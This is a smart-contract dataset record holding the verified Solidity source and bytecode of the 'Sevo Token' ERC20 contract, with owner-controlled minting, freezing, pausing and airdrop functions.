101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ff4c33788768c74eaacb1c8153ac4c02827bd83c72212c7bc8ed62d74ab87c5764736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 4,185 |
0x5c37461df2282454998bbeea23195b9d390ee68f
|
/**
*Submitted for verification at Etherscan.io on 2021-12-10
*/
/**
*Submitted for verification at Etherscan.io on 2020-02-22
*/
pragma solidity 0.5.16; /*
___________________________________________________________________
_ _ ______
| | / / /
--|-/|-/-----__---/----__----__---_--_----__-------/-------__------
|/ |/ /___) / / ' / ) / / ) /___) / / )
__/__|____(___ _/___(___ _(___/_/_/__/_(___ _____/______(___/__o_o_
███████╗███████╗██╗ ██╗ ██████╗ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
██╔════╝██╔════╝██║ ██║██╔═══██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
███████╗█████╗ ██║ ██║██║ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
╚════██║██╔══╝ ╚██╗ ██╔╝██║ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
███████║███████╗ ╚████╔╝ ╚██████╔╝ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚══════╝╚══════╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
=== 'SEVO' Token contract with following features ===
=> ERC20 Compliance
=> Higher degree of control by owner - safeguard functionality
=> SafeMath implementation
=> Burnable and minting
=> User account freezing/blacklisting to prevent abusive user
=> air drop (active)
======================= Quick Stats ===================
=> Name : Sevo Token
=> Symbol : SET
=> Total supply: 5,000,000,000 (5 Billion)
=> Decimals : 18
============= Independant Audit of the code ============
=> Multiple Freelancers Auditors
=> Community Audit by Bug Bounty program
-------------------------------------------------------------------
Copyright (c) 2020 onwards SEVO Coin Inc. ( https://Sevocoin.com )
Contract designed with ❤ by EtherAuthority ( https://EtherAuthority.io )
-------------------------------------------------------------------
*/
//*******************************************************************//
//------------------------ SafeMath Library -------------------------//
//*******************************************************************//
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul failed');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub failed');
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add failed');
return c;
}
}
//*******************************************************************//
//------------------ Contract to Manage Ownership -------------------//
//*******************************************************************//
contract owned {
address payable public owner;
address payable internal newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//****************************************************************************//
//--------------------- MAIN CODE STARTS HERE ---------------------//
//****************************************************************************//
contract SevoToken is owned {
/*===============================
= DATA STORAGE =
===============================*/
// Public variables of the token
using SafeMath for uint256;
string constant private _name = "Sevo Token";
string constant private _symbol = "SET";
uint256 constant private _decimals = 18;
uint256 private _totalSupply = 5000000000 * (10**_decimals); //5 billion tokens
uint256 constant public maxSupply = 5000000000 * (10**_decimals); //5 billion tokens
bool public safeguard; //putting safeguard on will halt all non-owner functions
// This creates a mapping with all data storage
mapping (address => uint256) private _balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => bool) public frozenAccount;
/*===============================
= PUBLIC EVENTS =
===============================*/
// This generates a public event of token transfer
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This generates a public event for frozen (blacklisting) accounts
event FrozenAccounts(address target, bool frozen);
// This will log approval of token Transfer
event Approval(address indexed from, address indexed spender, uint256 value);
/*======================================
= STANDARD ERC20 FUNCTIONS =
======================================*/
/**
* Returns name of token
*/
function name() public pure returns(string memory){
return _name;
}
/**
* Returns symbol of token
*/
function symbol() public pure returns(string memory){
return _symbol;
}
/**
* Returns decimals of token
*/
function decimals() public pure returns(uint256){
return _decimals;
}
/**
* Returns totalSupply of token.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* Returns balance of token
*/
function balanceOf(address user) public view returns(uint256){
return _balanceOf[user];
}
/**
* Returns allowance of token
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowance[owner][spender];
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
//checking conditions
require(!safeguard);
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
// overflow and undeflow checked by SafeMath Library
_balanceOf[_from] = _balanceOf[_from].sub(_value); // Subtract from the sender
_balanceOf[_to] = _balanceOf[_to].add(_value); // Add the same to the recipient
// emit Transfer event
emit Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
//no need to check for input validations, as that is ruled by SafeMath
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//checking of allowance and token value is done by SafeMath
_allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!safeguard);
/* AUDITOR NOTE:
Many dex and dapps pre-approve large amount of tokens to save gas for subsequent transaction. This is good use case.
On flip-side, some malicious dapp, may pre-approve large amount and then drain all token balance from user.
So following condition is kept in commented. It can be be kept that way or not based on client's consent.
*/
//require(_balanceOf[msg.sender] >= _value, "Balance does not have enough tokens");
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param value The amount of tokens to increase the allowance by.
*/
function increase_allowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(value);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param value The amount of tokens to decrease the allowance by.
*/
function decrease_allowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].sub(value);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
/*=====================================
= CUSTOM PUBLIC FUNCTIONS =
======================================*/
constructor() public{
//sending all the tokens to Owner
_balanceOf[owner] = _totalSupply;
//firing event which logs this transaction
emit Transfer(address(0), owner, _totalSupply);
}
//Fallback function just accepts incoming fund
function () external payable {
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
//checking of enough token balance is done by SafeMath
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(_value); // Subtract from the sender
_totalSupply = _totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
/**
* @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
* @param target Address to be frozen
* @param freeze either to freeze it or not
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenAccounts(target, freeze);
}
/**
* @notice Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount the amount of tokens it will receive
*/
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
require(_totalSupply.add(mintedAmount) <= maxSupply, "Cannot Mint more than maximum supply");
_balanceOf[target] = _balanceOf[target].add(mintedAmount);
_totalSupply = _totalSupply.add(mintedAmount);
emit Transfer(address(0), target, mintedAmount);
}
/**
* Owner can transfer tokens from contract to owner address
*
* When safeguard is true, then all the non-owner functions will stop working.
* When safeguard is false, then all the functions will resume working back again!
*/
function manualWithdrawTokens(uint256 tokenAmount) public onlyOwner{
// no need for overflow checking as that will be done in transfer function
_transfer(address(this), owner, tokenAmount);
}
//Just in rare case, owner wants to transfer Ether from contract to owner address
function manualWithdrawEther()onlyOwner public{
address(owner).transfer(address(this).balance);
}
/**
* Change safeguard status on or off
*
* When safeguard is true, then all the non-owner functions will stop working.
* When safeguard is false, then all the functions will resume working back again!
*/
function changeSafeguardStatus() onlyOwner public{
if (safeguard == false){
safeguard = true;
}
else{
safeguard = false;
}
}
/*************************************/
/* Section for User Air drop */
/*************************************/
/**
* Run an ACTIVE Air-Drop
*
* It requires an array of all the addresses and amount of tokens to distribute
* It will only process first 150 recipients. That limit is fixed to prevent gas limit
*/
function airdropACTIVE(address[] memory recipients,uint256[] memory tokenAmount) public returns(bool) {
uint256 totalAddresses = recipients.length;
require(totalAddresses <= 150,"Too many recipients");
for(uint i = 0; i < totalAddresses; i++)
{
//This will loop through all the recipients and send them the specified tokens
//Input data validation is unncessary, as that is done by SafeMath and which also saves some gas.
transfer(recipients[i], tokenAmount[i]);
}
return true;
}
}
|
0x60806040526004361061014b5760003560e01c806382aade08116100b6578063b57dbdc61161006f578063b57dbdc6146108ab578063d5abeb01146108da578063dd62ed3e14610905578063e724529c1461098a578063f2fde38b146109e7578063fbde8d7514610a385761014b565b806382aade08146105045780638da5cb5b1461057757806395d89b41146105ce578063a9059cbb1461065e578063a972f673146106d1578063b414d4b6146108425761014b565b80634bec8335116101085780634bec83351461038c5780635954c8c5146103a35780636ece08ac146103ba57806370a082311461042d57806379ba50971461049257806379c65068146104a95761014b565b806306fdde031461014d578063095ea7b3146101dd57806318160ddd1461025057806323b872dd1461027b578063313ce5671461030e57806342966c6814610339575b005b34801561015957600080fd5b50610162610a73565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a2578082015181840152602081019050610187565b50505050905090810190601f1680156101cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e957600080fd5b506102366004803603604081101561020057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab0565b604051808215151515815260200191505060405180910390f35b34801561025c57600080fd5b50610265610bbc565b6040518082815260200191505060405180910390f35b34801561028757600080fd5b506102f46004803603606081101561029e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc6565b604051808215151515815260200191505060405180910390f35b34801561031a57600080fd5b50610323610ced565b6040518082815260200191505060405180910390f35b34801561034557600080fd5b506103726004803603602081101561035c57600080fd5b8101908080359060200190929190505050610cf6565b604051808215151515815260200191505060405180910390f35b34801561039857600080fd5b506103a1610e7f565b005b3480156103af57600080fd5b506103b8610f32565b005b3480156103c657600080fd5b50610413600480360360408110156103dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff5565b604051808215151515815260200191505060405180910390f35b34801561043957600080fd5b5061047c6004803603602081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061122a565b6040518082815260200191505060405180910390f35b34801561049e57600080fd5b506104a7611273565b005b3480156104b557600080fd5b50610502600480360360408110156104cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611410565b005b34801561051057600080fd5b5061055d6004803603604081101561052757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fb565b604051808215151515815260200191505060405180910390f35b34801561058357600080fd5b5061058c611830565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105da57600080fd5b506105e3611855565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610623578082015181840152602081019050610608565b50505050905090810190601f1680156106505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066a57600080fd5b506106b76004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611892565b604051808215151515815260200191505060405180910390f35b3480156106dd57600080fd5b50610828600480360360408110156106f457600080fd5b810190808035906020019064010000000081111561071157600080fd5b82018360208201111561072357600080fd5b8035906020019184602083028401116401000000008311171561074557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156107a557600080fd5b8201836020820111156107b757600080fd5b803590602001918460208302840111640100000000831117156107d957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506118a9565b604051808215151515815260200191505060405180910390f35b34801561084e57600080fd5b506108916004803603602081101561086557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061197f565b604051808215151515815260200191505060405180910390f35b3480156108b757600080fd5b506108c061199f565b604051808215151515815260200191505060405180910390f35b3480156108e657600080fd5b506108ef6119b2565b6040518082815260200191505060405180910390f35b34801561091157600080fd5b506109746004803603604081101561092857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c1565b6040518082815260200191505060405180910390f35b34801561099657600080fd5b506109e5600480360360408110156109ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611a48565b005b3480156109f357600080fd5b50610a3660048036036020811015610a0a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b6b565b005b348015610a4457600080fd5b50610a7160048036036020811015610a5b57600080fd5b8101908080359060200190929190505050611c08565b005b60606040518060400160405280600a81526020017f5365766f20546f6b656e00000000000000000000000000000000000000000000815250905090565b6000600360009054906101000a900460ff1615610acc57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000610c5782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ce2848484611d13565b600190509392505050565b60006012905090565b6000600360009054906101000a900460ff1615610d1257600080fd5b610d6482600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dbc82600254611c9090919063ffffffff16565b6002819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ed857600080fd5b60001515600360009054906101000a900460ff1615151415610f14576001600360006101000a81548160ff021916908315150217905550610f30565b6000600360006101000a81548160ff0219169083151502179055505b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ff2573d6000803e3d6000fd5b50565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561103057600080fd5b6110bf82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112cd57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461146957600080fd5b6012600a0a64012a05f2000261148a82600254611fa990919063ffffffff16565b11156114e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120326024913960400191505060405180910390fd5b61153381600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa990919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158b81600254611fa990919063ffffffff16565b6002819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163657600080fd5b6116c582600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa990919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600381526020017f5345540000000000000000000000000000000000000000000000000000000000815250905090565b600061189f338484611d13565b6001905092915050565b600080835190506096811115611927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f546f6f206d616e7920726563697069656e74730000000000000000000000000081525060200191505060405180910390fd5b60008090505b818110156119735761196585828151811061194457fe5b602002602001015185838151811061195857fe5b6020026020010151611892565b50808060010191505061192d565b50600191505092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900460ff1681565b6012600a0a64012a05f2000281565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aa157600080fd5b80600660008473ff